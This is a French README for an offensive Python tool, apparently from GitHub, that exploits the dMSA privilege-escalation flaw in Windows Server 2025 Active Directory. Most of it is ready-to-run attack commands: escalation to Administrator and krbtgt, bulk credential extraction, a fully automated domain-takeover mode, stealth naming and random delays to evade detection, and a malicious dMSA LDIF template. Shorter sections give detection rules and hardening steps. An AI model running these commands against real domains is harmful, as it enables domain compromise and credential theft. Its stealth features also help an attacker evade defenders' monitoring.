
Exploite la vulnérabilité d'élévation de privilèges dMSA de Windows Server 2025 pour énumérer les OU accessibles en écriture, escalader vers des utilisateurs de domaine arbitraires, extraire des identifiants, et permettre la prise de contrôle du domaine lors d'évaluations de sécurité AD autorisées.
Un outil de test de pénétration qui exploite la vulnérabilité d'élévation de privilèges dMSA (compte de service géré délégué) dans les environnements Active Directory Windows Server 2025.
Cet outil est exclusivement destiné aux tests de pénétration autorisés et à la recherche en sécurité. L'utilisation de cet outil contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil.
IMPORTANT : Cet outil est en cours de développement et de test actifs.
Nous encourageons la communauté de la sécurité à :
En utilisant cet outil, vous reconnaissez qu'il est en cours de développement actif et qu'il peut nécessiter des modifications pour votre environnement spécifique.
BadSuccessor exploite une vulnérabilité d'élévation de privilèges dans la fonctionnalité de compte de service géré délégué (dMSA) de Windows Server 2025. La vulnérabilité permet à des attaquants disposant de permissions minimales d'élever leurs privilèges vers n'importe quel utilisateur du domaine, y compris les administrateurs de domaine.
Cet outil est basé sur l'excellente recherche de Yuval Gordon de Akamai Technologies :
La vulnérabilité existe dans le processus de migration dMSA où :
msDS-ManagedAccountPrecededByLink ou ms-DS-Managed-Account-Preceded-By-Link pour pointer vers un utilisateur ciblemsDS-DelegatedMSAState ou ms-DS-Delegated-MSA-State à 2 (migration terminée)De plus, la structure KERB-DMSA-KEY-PACKAGE contient les clés de mot de passe de l'utilisateur cible, permettant l'extraction d'informations d'identification.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Remarque** : L'outil a été testé avec impacket 0.12.0. Des avertissements de compatibilité de version sont affichés à l'exécution.
### Dépendances optionnelles```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Exemples de démarrage rapide
#### 1. Mode Dry Run (NOUVEAU) - Tester sans apporter de modifications```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Effectuer l'attaque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gestion de session (NOUVEAU)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### Options de ligne de commande
#### Arguments d'authentification
| Option | Description |
|--------|-------------|
| `-d, --domain` | Domaine cible (par ex. corp.local) **[REQUIS]** |
| `-u, --username` | Nom d'utilisateur pour l'authentification **[REQUIS]** |
| `-p, --password` | Mot de passe pour l'authentification |
| `--dc-ip` | IP du contrôleur de domaine (découverte automatique si omis) |
| `--ldaps` | Forcer la connexion LDAPS (SSL) sur le port 636 |
#### Modes d'attaque
| Option | Description |
|--------|-------------|
| `--attack` | Effectuer l'attaque BadSuccessor |
| `--dry-run` | **NOUVEAU** : Simuler l'attaque sans apporter de modifications |
| `--extract-creds` | Extraire les identifiants à l'aide du key package |
| `--auto-pwn` | Prise de contrôle de domaine entièrement automatisée |
#### Spécification de la cible
| Option | Description |
|--------|-------------|
| `--target` | Utilisateur cible dont on veut élever les privilèges |
| `--targets` | Liste d'utilisateurs séparés par des virgules pour l'extraction d'identifiants |
| `--validate-target` | **NOUVEAU** : Valider un compte cible sans attaquer |
#### Configuration dMSA
| Option | Description |
|--------|-------------|
| `--dmsa-name` | Nom du dMSA malveillant (généré automatiquement s'il n'est pas spécifié) |
| `--dmsa-pattern` | **NOUVEAU** : Modèle de nommage pour dMSA (par ex. « svc{random}{target} ») |
| `--ou-dn` | DN de l'unité d'organisation spécifique à utiliser (détection automatique si non spécifié) |
| `--dmsa-description` | **NOUVEAU** : Description du dMSA créé |
| `--dmsa-display-name` | **NOUVEAU** : Nom d'affichage du dMSA créé |
#### Options d'énumération
| Option | Description |
|--------|-------------|
| `--enumerate` | Énumérer les OU disposant de toute permission d'écriture |
| `--list-targets` | Lister les cibles à haute valeur |
| `--check-schema` | Vérifier le schéma Windows Server 2025 |
#### Gestion de session (NOUVEAU)
| Option | Description |
|--------|-------------|
| `--session-id` | Reprendre une session existante |
| `--list-sessions` | Lister toutes les sessions disponibles |
| `--cleanup-session SESSION_ID` | Nettoyer tous les dMSA d'une session |
#### Options de nettoyage
| Option | Description |
|--------|-------------|
| `--cleanup` | Supprimer le dMSA créé |
| `--dmsa-dn` | DN du dMSA pour les opérations de nettoyage |
| `--cleanup-all` | **NOUVEAU** : Nettoyer tous les dMSA de la session actuelle |
#### Options de sortie
| Option | Description |
|--------|-------------|
| `--export-json FILE` | **NOUVEAU** : Exporter les résultats dans un fichier JSON |
| `--export-csv FILE` | **NOUVEAU** : Exporter les résultats dans un fichier CSV |
| `--export-html FILE` | **NOUVEAU** : Générer un rapport HTML |
| `--no-banner` | Supprimer l'affichage de la bannière |
| `--verbose` | Activer la sortie détaillée |
#### Options furtives (NOUVEAU)
| Option | Description |
|--------|-------------|
| `--stealth` | Activer le mode furtif (nommage anodin) |
| `--random-delay SECONDS` | Délai aléatoire entre les opérations (0-N secondes) |
## 🔧 Déroulement de l'attaque
### Phase 1 : Reconnaissance
1. **Vérification du schéma** : Confirme la prise en charge de dMSA par Windows Server 2025 avec détection dynamique des attributs
2. **Découverte des permissions** : Identifie les OU avec un accès en écriture QUELCONQUE (pas seulement CreateChild)
3. **Validation de la cible** : **NOUVEAU** – Analyse complète du compte cible avant l'attaque
### Phase 2 : Exploitation
1. **Option Dry Run** : **NOUVEAU** – Tester la faisabilité de l'attaque sans apporter de modifications
2. **Création du dMSA** : Crée un dMSA malveillant avec des attributs personnalisables
3. **Manipulation des attributs** : Définit le lien prédécesseur et l'état de migration en tenant compte du schéma
4. **Suivi de session** : **NOUVEAU** – Tous les objets créés sont suivis pour un nettoyage facile
### Phase 3 : Authentification
1. **Demande de TGT Kerberos** : Obtient un TGT avec les privilèges hérités
2. **Analyse du PAC** : Vérifie les appartenances aux groupes héritées
3. **Extraction du key package** : Analyse améliorée avec plusieurs méthodes de repli
### Phase 4 : Post-exploitation
L'outil fournit des commandes prêtes à l'emploi pour :
- Les attaques DCSync (extraction de tous les hashes du domaine)
- Exécution de commandes à distance
- Mouvement latéral
- Établissement de la persistance
## 🔐 Fonctionnalités prêtes pour la production (v3.0.0)
### Détection dynamique du schéma (NOUVEAU)
- Détecte automatiquement la convention de nommage des attributs utilisée par votre environnement
- Prend en charge toutes les variations connues des attributs dMSA
- Mécanismes de repli pour différentes versions de Windows Server 2025
### Validation améliorée de la cible (NOUVEAU)
- Validation pré-attaque des comptes cibles
- Détecte les comptes désactivés, verrouillés ou expirés
- Avertit sur les exigences de carte à puce et les restrictions de délégation
- Fournit des recommandations basées sur les propriétés de la cible
### Gestion de session (NOUVEAU)
- Suivi de session persistant entre les opérations
- Reprendre les attaques interrompues
- Nettoyage en masse de tous les dMSA créés
- Fichiers de session stockés en toute sécurité avec des permissions 0700
### Mode Dry Run (NOUVEAU)
- Tester la faisabilité de l'attaque sans apporter de modifications
- Valide le schéma, les permissions et la cible
- Rapporte exactement ce qui se passerait lors d'une attaque réelle
- Parfait pour la reconnaissance et la planification
### Fonctionnalités furtives (NOUVEAU)
- Modèles de nommage de dMSA anodins qui se fondent dans l'environnement
- Délais aléatoires entre les opérations
- Attributs dMSA personnalisables (description, nom d'affichage)
- Nommage basé sur des modèles avec variables
### Formats de sortie professionnels (NOUVEAU)
- Export JSON pour l'intégration avec d'autres outils
- Export CSV pour l'analyse dans des feuilles de calcul
- Rapports HTML avec sortie stylisée
- Données structurées pour toutes les opérations
### Gestion des erreurs de niveau entreprise
- Messages d'erreur complets avec des solutions exploitables
- Replis gracieux pour toutes les opérations
- Journalisation détaillée avec horodatage et sévérité
- Mode verbeux pour le dépannage
### Implémentation complète
- Toutes les fonctionnalités entièrement implémentées (aucun code provisoire)
- Structure de code testée en production
- Conception modulaire avec des classes spécialisées
- Compatibilité complète avec diverses configurations AD
## 🛡️ Détection
### ID d'événements à surveiller
| Event ID | Source | Description |
|----------|--------|-------------|
| **5137** | Security | Création d'un objet de service d'annuaire (dMSA) |
| **5136** | Security | Modification d'un objet de service d'annuaire |
| **2946** | Directory Service | Authentification du compte de service administré de groupe |
| **4768** | Security | TGT Kerberos demandé |
| **4769** | Security | Ticket de service Kerberos demandé |
### Règles de détection```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
Restreindre les autorisations OU ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
Surveiller les opérations dMSA ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
Implémenter la détection
D'après les recherches d'Akamai :
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### Structure du paquet de clés
Le KERB-DMSA-KEY-PACKAGE contient :
- Clés actuelles : clés de chiffrement de dMSA
- Clés précédentes : clés de chiffrement de l'utilisateur cible (y compris le hash NTLM)
- Permet l'extraction directe des identifiants sans craquage de mot de passe
## 🤝 Contribution
Les contributions sont les bienvenues ! Merci de :
1. Forkez le dépôt
2. Créez une branche de fonctionnalité (`git checkout -b feature/enhancement`)
3. Commitez les modifications (`git commit -m 'Add new feature'`)
4. Poussez vers la branche (`git push origin feature/enhancement`)
5. Soumettez une Pull Request
### Directives de développement
- Suivez le guide de style PEP 8
- Ajoutez des tests unitaires pour les nouvelles fonctionnalités
- Mettez à jour la documentation
- Testez sur plusieurs environnements AD
- Testez avec différentes conventions de nommage des attributs de schéma
- Assurez-vous que toutes les fonctionnalités sont prêtes pour la production (aucun espace réservé)
## 📝 Journal des modifications
### v2.3.0 (2025-05-28) - Version prête pour la production
- **NOUVEAU** : Mode dry run pour une simulation d'attaque sûre
- **NOUVEAU** : Gestion complète des sessions avec persistance d'état
- **NOUVEAU** : Validation du compte cible avec analyse détaillée
- **NOUVEAU** : Capacités d'exportation (JSON, CSV, HTML)
- **NOUVEAU** : Mode furtif avec modèles de nommage anodins
- **NOUVEAU** : Attributs dMSA personnalisables (description, nom d'affichage)
- **NOUVEAU** : Nommage dMSA basé sur des modèles avec variables
- **NOUVEAU** : Prise en charge de délais aléatoires pour les opérations furtives
- **NOUVEAU** : Détection dynamique des attributs de schéma
- **NOUVEAU** : Analyse améliorée du paquet de clés avec solutions de repli
- **NOUVEAU** : Opérations de nettoyage en masse
- **NOUVEAU** : Gestion professionnelle des erreurs et journalisation
- **AMÉLIORÉ** : Architecture entièrement modulaire
- **AMÉLIORÉ** : Vérification des versions des dépendances
- **CORRIGÉ** : Tout le code d'espace réservé remplacé par des implémentations complètes
### v2.2.0 (2025-05-27) - Mise à jour de compatibilité
- **CORRIGÉ** : Résolution des problèmes d'importation d'impacket (dépendance seq_decode supprimée)
- **CORRIGÉ** : Compatible avec impacket 0.12.0
- **FONCTIONNALITÉ** : Prise en charge ajoutée pour les deux conventions de nommage des attributs dMSA
- **AMÉLIORÉ** : Meilleure gestion des erreurs pour les échecs d'importation
- **AMÉLIORÉ** : Détection de schéma plus robuste
### v2.1.0 (2025-05-25) - Implémentation complète
- **MAJEUR** : Vérification améliorée des permissions ACL - détecte désormais TOUTES les permissions d'écriture
- **MAJEUR** : Prise en charge ajoutée pour les groupes par défaut (Utilisateurs authentifiés, Tout le monde, etc.)
- **CORRIGÉ** : Suppression de tout le code d'espace réservé
- **CORRIGÉ** : Implémentation complète de toutes les fonctionnalités
- **AMÉLIORÉ** : Meilleure gestion des erreurs et sortie informative
- **AMÉLIORÉ** : Énumération des OU plus complète (inclut les conteneurs)
- **FONCTIONNALITÉ** : Affiche les permissions exactes pour chaque OU découvert
- **FONCTIONNALITÉ** : Détecte les utilisateurs protégés et les restrictions de délégation
### v2.0.0 (2025-05-24) - Édition améliorée
- **Majeur** : Implémentation complète de l'authentification Kerberos
- **Majeur** : Extraction de KERB-DMSA-KEY-PACKAGE pour le vol d'identifiants
- **Majeur** : Vérification de base des permissions ACL
- **Majeur** : Vérification du schéma Windows Server 2025
- **Fonctionnalité** : Mode d'extraction massive d'identifiants
- **Fonctionnalité** : Auto-pwn pour la prise de contrôle automatisée du domaine
- **Fonctionnalité** : Énumération améliorée des cibles
- **Fonctionnalité** : Génération de commandes post-exploitation
- **Amélioration** : Meilleure gestion des erreurs et journalisation
- **Amélioration** : Structure de code prête pour la production
## 📚 Références
- [Recherche originale d'Akamai](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [Problème GitHub n°1 - Vérification améliorée des permissions](https://github.com/cybrly/badsuccessor/issues/1)
- [Problème GitHub n°2 - Nommage des attributs de schéma](https://github.com/cybrly/badsuccessor/issues/2)
- [Centre de réponse sécurité Microsoft](https://msrc.microsoft.com/)
## 🐛 Problèmes connus
- Certains environnements peuvent utiliser des conventions de nommage d'attributs différentes (gérées par la détection dynamique)
- L'authentification par hash nécessite un mot de passe pour l'implémentation initiale
- Certains environnements peuvent nécessiter une configuration Kerberos manuelle
- Les règles de détection doivent être personnalisées selon l'environnement
## 🔍 Dépannage
### Erreurs d'importation
Si vous rencontrez des erreurs d'importation avec impacket :```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
L'outil inclut désormais la détection dynamique de schéma. Si elle échoue encore:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### Erreurs de permission refusée
Utilisez le nouveau mode dry-run pour tester:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 Contact
Pour les questions, les problèmes ou la divulgation responsable :
- Ouvrez une GitHub Issue
- Suivez les pratiques de divulgation responsable
- Accordez 90 jours pour le développement du correctif
---
**⚡ Souvenez-vous : Un grand pouvoir implique de grandes responsabilités. Obtenez toujours une autorisation appropriée avant de tester !** 🔐